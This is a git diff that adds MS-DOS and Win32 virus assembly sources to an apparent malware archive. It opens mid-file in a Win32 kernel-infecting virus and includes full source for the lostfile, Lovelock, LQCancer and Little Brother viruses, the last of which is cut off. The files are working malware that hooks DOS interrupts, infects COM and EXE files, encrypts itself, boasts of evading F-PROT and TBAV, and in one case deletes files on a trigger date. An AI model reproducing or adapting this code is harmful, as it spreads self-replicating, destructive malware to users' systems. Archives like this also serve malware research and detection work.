string +; pass edi->destination esi->source +; + +copy_str: + mov ecx,0FFh ; no bigger than 256 +copystr: + lodsb + stosb + cmp al,0 + jz copystrdone + loop copystr +copystrdone: + ret + + +;------------------------------ hooked ------------------------ +; this is our API hook for GetAttrib +; +hook: + + pushfd + push eax ; save regs + push ebx + push ecx + push edx + push edi + push esi + push ebp + + call reloc ; find relative index +reloc: + pop ebp ; eip + sub ebp, offset reloc ; get relative address + + lea eax,[ebp+jmpback] ; get jump back ptr + mov [ebp+jmpbackptr],eax ; save jump back ptr + + cmp ecx,MEM_ID ; is it us? + jz abort_mem ; if so then abort + + mov byte ptr [ebp+infkern],0 ; we're infecting normal + + mov eax,[esp+24h] ; ptr to filename is here + mov [ebp+fnameptr],eax ; save ptr to filename + call infect_file ; replicate ourselves +abort_mem: + pop ebp ; restore regs + pop esi + pop edi + pop edx + pop ecx + pop ebx + pop eax + popfd + + db 0FFh,25h ; jmp [ ] +jmpbackptr dd offset jmpback + +jmpback dd 0 ; original API VA + +db 'ž [LoRez] v1 by Virogen [NoP] ž' ; it's i said the fly + +kernfile db '\KERNEL32.dll',0 ; our kernel filename +kernfile_e: + +APIs: ; structure of ptrs to our API names +dd offset GetTicks +dd offset GetWinDir +dd offset SetAttrib +dd offset CreateFile +dd offset SetFilePtr +dd offset ReadFile +dd offset WriteFile +dd offset CloseFile +dd offset GetSysDir +dd offset CopyFile +dd offset GetFileTime +dd offset SetFileTime +dd offset ExitProc +dd offset GetAttrib ; the last entry is our hooked API +dd 0 + ; our API names +GetTicks db 'GetTickCount',0 +GetWinDir db 'GetWindowsDirectoryA',0 +SetAttrib db 'SetFileAttributesA',0 +CreateFile db 'CreateFileA',0 +SetFilePtr db 'SetFilePointer',0 +ReadFile db 'ReadFile',0 +WriteFile db 'WriteFile',0 +CloseFile db 'CloseHandle',0 +GetSysDir db 'GetSystemDirectoryA',0 +CopyFile db 'CopyFileA',0 +GetFileTime db 'GetFileTime',0 +SetFileTime db 'SetFileTime',0 +ExitProc db 'ExitProcess',0 ; only used in original host +GetAttrib db 'GetFileAttributesA',0 + +API_Struct: ; structure for API VAs +GetTickCountAPI dd 0 +GetWinDirAPI dd 0 +SetAttribAPI dd 0 +CreateFileAPI dd 0 +SetFilePtrAPI dd 0 +ReadFileAPI dd 0 +WriteFileAPI dd 0 +CloseFileAPI dd 0 +GetSysDirAPI dd 0 +CopyFileAPI dd 0 +GetFileTimeAPI dd 0 +SetFileTimeAPI dd 0 +ExitProcessAPI dd 0 +GetAttribAPI dd 0 +FileOff dd 0 +APIStructEnd: + +; data below is not written to disk, but is allocated by object +vend: + +handle dd 0 ; file handle +infkern db 0 ; kernel infection flag +ptrpeheader dd 0 ; offset of PE header +ObjTbloff dd 0 ; offset of object table +objtblVA dd 0 ; VA of object table +bytesread dd 0 ; return from fread/fwrite + +nameptrtbl dd 0 +adrtbl dd 0 +ourAPIptr dd 0 +curAPIptr dd 0 +ordinaltbl dd 0 +originalRVAptr dd 0 ; RVA ptr to our hooked API RVA +originalRVA dd 0 ; orginal RVA of our hooked API +chkRVA dd 0 +originalpsize dd 0 +hookRVA dd 0 +virusRVA dd 0 +hdrread dd 0 +lastobjimageoff dd 0 +objtext dd 0 +creation dd 0,0 ; our file time structures +lastaccess dd 0,0 +lastwrite dd 0,0 + +oldattrib dd 0 ; stored file attribs +fnameptr dd 0 ; ptr to file name we're infecting +fname db 64 dup (0) ; storage for source kernel32.dll +copyfname db 64 dup (0) ; storage for dest. kernel32.dll + +peheader: ; PE header format + signature dd 0 + cputype dw 0 + numObj dw 0 + dd 0,0,0 + NtHeaderSize dw 0 + Flags dw 0 + dd 0,0,0,0 + entrypointRVA dd 0 + dd 0,0 + imagebase dd 0 + objalign dd 0 + filealign dd 0 + dd 0,0,0,0 + imagesize dd 0 + headersize dd 0 + +db MAX_HDR*2 dup (0) +buffer_end: +ends +end vstart + + diff --git a/MSDOS/Virus.MSDOS.Unknown.lostfile.asm b/MSDOS/Virus.MSDOS.Unknown.lostfile.asm new file mode 100644 index 00000000..3ca49baa --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.lostfile.asm @@ -0,0 +1,430 @@ +;ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ +;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR +;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ +;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR +;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ +;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR +;ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +’inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +’;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +’inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +’;--------------------------------- +action: ; +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; + ; +mov ds,word ptr cs:[2ch] ; +xor bx,bx ; +nuevo: ; +inc bx ;get file name! +mov dl,byte ptr ds:[bx] ; +cmp dl,00 ; +jne nuevo ; +nuevo1: ; +inc bx ; +mov dl,byte ptr ds:[bx] ;get file name! +cmp dl,00 ; +jne nuevo1 ; +nuevo2: ; +inc bx ; +mov dl,byte ptr ds:[bx] ;get file name! +cmp dl,01 ; +jne nuevo2 ; +nuevo3: ; +inc bx ; +mov dl,byte ptr ds:[bx] ;get file name! +cmp dl,00 ; +jne nuevo3 ; +cero3: ; +inc bx ; +push bx ; +pop dx ; +push dx ; +push ds ; +push cs ; +pop ds ; +push cs ; +pop es ; +pop ds ; +pop dx ; +MOV AH,41H ;delete name +iNT 21H ;ds:dx=file mame +int 20h ; +NO_DAY: ; +ret ; +;--------------------------------- + +’;-------------; +Dir_S: ; +jmp dirsal ; +no_Good:iret ; +;-------------; + +’action_dia Db 01H ;day for the action +action_mes Db 01H ;month for the action +FECHA DW 012H ;Secon for mark +FECHAd Db 012H ;Secon for mark dir st +fin: +code ends +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.lovelock.asm b/MSDOS/Virus.MSDOS.Unknown.lovelock.asm new file mode 100644 index 00000000..93830beb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.lovelock.asm @@ -0,0 +1,352 @@ +; Virus generated by Gż 0.70į +; Gż written by Dark Angel of Phalcon/Skism + +; File: LOVELOCK.ASM +; Lovelock by Ender + +checkres1 = 'DA' +checkres2 = 'PS' +id = 'DA' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK filename.OBJ +; EXE2BIN filename.EXE filename.COM + org 0000h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h,0037h ; xor word ptr [bx], xxxx +encryptvalue dw 0000h + inc bx + inc bx + loop encrypt_loop +endencrypt: + call next +next: + pop bp + sub bp, offset next + + push es + push ds + + mov ax, checkres1 ; Installation check + int 0021h + cmp ax, checkres2 ; Already installed? + jz done_install + + mov ax, ds + dec ax + mov ds, ax + + sub word ptr ds:[0003h], (endheap-start+15)/16+1 + sub word ptr ds:[0012h], (endheap-start+15)/16+1 + mov ax, ds:[0012h] + mov ds, ax + inc ax + mov es, ax + mov byte ptr ds:[0000h], 'Z' + mov word ptr ds:[0001h], 0008h + mov word ptr ds:[0003h], (endheap-start+15)/16 + + push cs + pop ds + xor di, di + mov cx, (heap-start)/2+1 ; Bytes to move + mov si, bp ; lea si,[bp+offset start] + rep movsw + + xor ax, ax + mov ds, ax + push ds + lds ax, ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory + +done_install: + pop ds + pop es + cmp sp, id + jne restore_COM +restore_EXE: + mov ax, es + add ax, 0010h + add cs:[bp+word ptr origCSIP+2], ax + add ax, cs:[bp+word ptr origSPSS] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS+2] + sti + db 00EAh +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsb + movsw + ret + +INT24: + mov al, 0003h + iret + +int21: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp ax, 4B00h ; execute? + jz execute +return: + jmp exitint21 +execute: + mov word ptr cs:filename, dx + mov word ptr cs:filename+2, ds + mov ax, 3524h + int 0021h + push es + push bx + + mov ax, 2524h + lea dx, INT24 ; ASSumes ds=cs + int 0021h + + push cs + pop es + + + mov bx, dx + cmp word ptr [bx+4], 'NA' ; Check if COMMAND.COM + jz return ; Exit if so + + lds dx, cs:filename + mov ax, 4300h + int 0021h + jc return + push cx + push ds + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + lds dx, cs:filename + mov ax, 3D02h + int 0021h + xchg ax, bx + + push cs + pop ds + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov dx, offset readbuffer + mov ah, 003Fh + mov cx, 001Ah + int 0021h + + xor dx, dx + xor cx, cx + mov ax, 4202h + int 0021h + + cmp word ptr [offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + cmp ax, (heap-start) ; check if too small + jb jmp_close ; Exit if so + + mov di, offset old3 + mov si, offset readbuffer + movsw + movsb + + mov si, ax ; save entry point + add si, 0100h + mov cx, 0003h + sub ax, cx + mov word ptr [offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea si, readbuffer+14h + lea di, origCSIP + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [readbuffer+10h], id ; Initial SP + mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [readbuffer+14h], dx ; IP Offset + mov word ptr [readbuffer+16h], ax ; Para disp CS in module. + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [readbuffer+2], ax ; the EXE header. + mov word ptr [readbuffer+4], dx ; Fix-up the file size in + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + +get_encrypt_value: + mov ah, 002Ch ; Get current time + int 0021h + + or dx, dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[patchstart+1], si + mov word ptr ds:[encryptvalue], dx + + mov cx, (heap-encrypt)/2 + mov di, offset encryptbuffer + mov si, offset ENCRYPT + push si + rep movsw ; copy virus to buffer + + mov ax, offset endencrypt-encrypt+encryptbuffer + mov word ptr ds:[patchstart+1], ax + pop si + push offset endencrypt + mov byte ptr [offset endencrypt], 00C3h ; retn + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [offset endencrypt] + + + mov ah, 0040h + mov cx, heap-encrypt + mov dx, offset encryptbuffer + int 0021h + + xor cx, cx + mov ax, 4200h + xor dx, dx + int 0021h + + + mov dx, offset readbuffer + mov ah, 0040h + pop cx + int 0021h + + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop ds + pop cx ; attributes from stack + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + +exitint21: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + + db 00EAh ; return to original handler +oldint21 dd ? + +signature db '[PS/Gż]',0 ; Phalcon/Skism Gż +creator db 'Ender',0 +virusname db 'Lovelock',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +filename dd ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.lptport.asm b/MSDOS/Virus.MSDOS.Unknown.lptport.asm new file mode 100644 index 00000000..bf77c6b8 Binary files /dev/null and b/MSDOS/Virus.MSDOS.Unknown.lptport.asm differ diff --git a/MSDOS/Virus.MSDOS.Unknown.lqcancer.asm b/MSDOS/Virus.MSDOS.Unknown.lqcancer.asm new file mode 100644 index 00000000..606e6626 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.lqcancer.asm @@ -0,0 +1,138 @@ + page ,132 + name LiquidCodeCANCER + title LQCancer - a mutation of the V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start + +start: + jmp cancer + +ident db 'LiquidCode' +counter db 0 +allcom db '*.COM',0 +vleng db virlen +n_10D db 3 ;Unused +progbeg dd ? +eof dw ? +handle dw ? + +cancer: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + mov ah,ah ;**** + int 21 + mov ah,ah ;**** + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov di,di ;**** + mov bx,0ffff ;**** + mov cx,bx ;Restore original program's code + mov ah,ah ;**** + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + db 0 ;Unused + +code ends + end start + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/MSDOS/Virus.MSDOS.Unknown.ltbro299.asm b/MSDOS/Virus.MSDOS.Unknown.ltbro299.asm new file mode 100644 index 00000000..802c6312 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ltbro299.asm @@ -0,0 +1,247 @@ + +;**************************************************************************** +;* * +;* ASM Source Code For: * +;* Little Brother Virus - Version 1 * +;* * +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + org 100h + +FILELEN equ end - begin +RESPAR equ (FILELEN/16) + 17 +VERSION equ 1 +oi21 equ end +nameptr equ end+4 +DTA equ end+8 + + .RADIX 16 + + +;**************************************************************************** +;* Start the program! +;**************************************************************************** + +begin: cld + + mov ax,0DEDEh ;already installed? + int 21h + cmp ah,041h + je cancel + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + movsw + movsw + + push es ;set vector to new handler + pop ds + mov dx,offset ni21 + mov ax,2521h + int 21h + +cancel: ret + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + + cmp ax,0DEDEh ;install-check ? + je do_DEDE + + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + +do_DEDE: mov ax,04100h+VERSION ;return a signature + popf + iret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + push cs ;set new DTA + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21 + + call searchpoint + mov si,offset EXE_txt ;is extension 'EXE'? + mov cx,3 + rep cmpsb + jnz do_com + +do_exe: mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ax,2524h + int 21 + + lds dx,dword ptr [nameptr] ;create the file (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the file + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;delete the file + mov ah,41h + int 21 + +return1: pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext + +return: ret + +do_com: call findfirst ;is the file a virus? + cmp word ptr cs:[DTA+1Ah],FILELEN + jne return + mov si,offset EXE_txt ;does the EXE-variant exist? + call change_ext + call findfirst + jnc return + mov si,offset COM_txt ;change extension to COM + jmp short change_ext + + +;**************************************************************************** +;* Find the file +;**************************************************************************** + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21 + ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,'.' + repnz 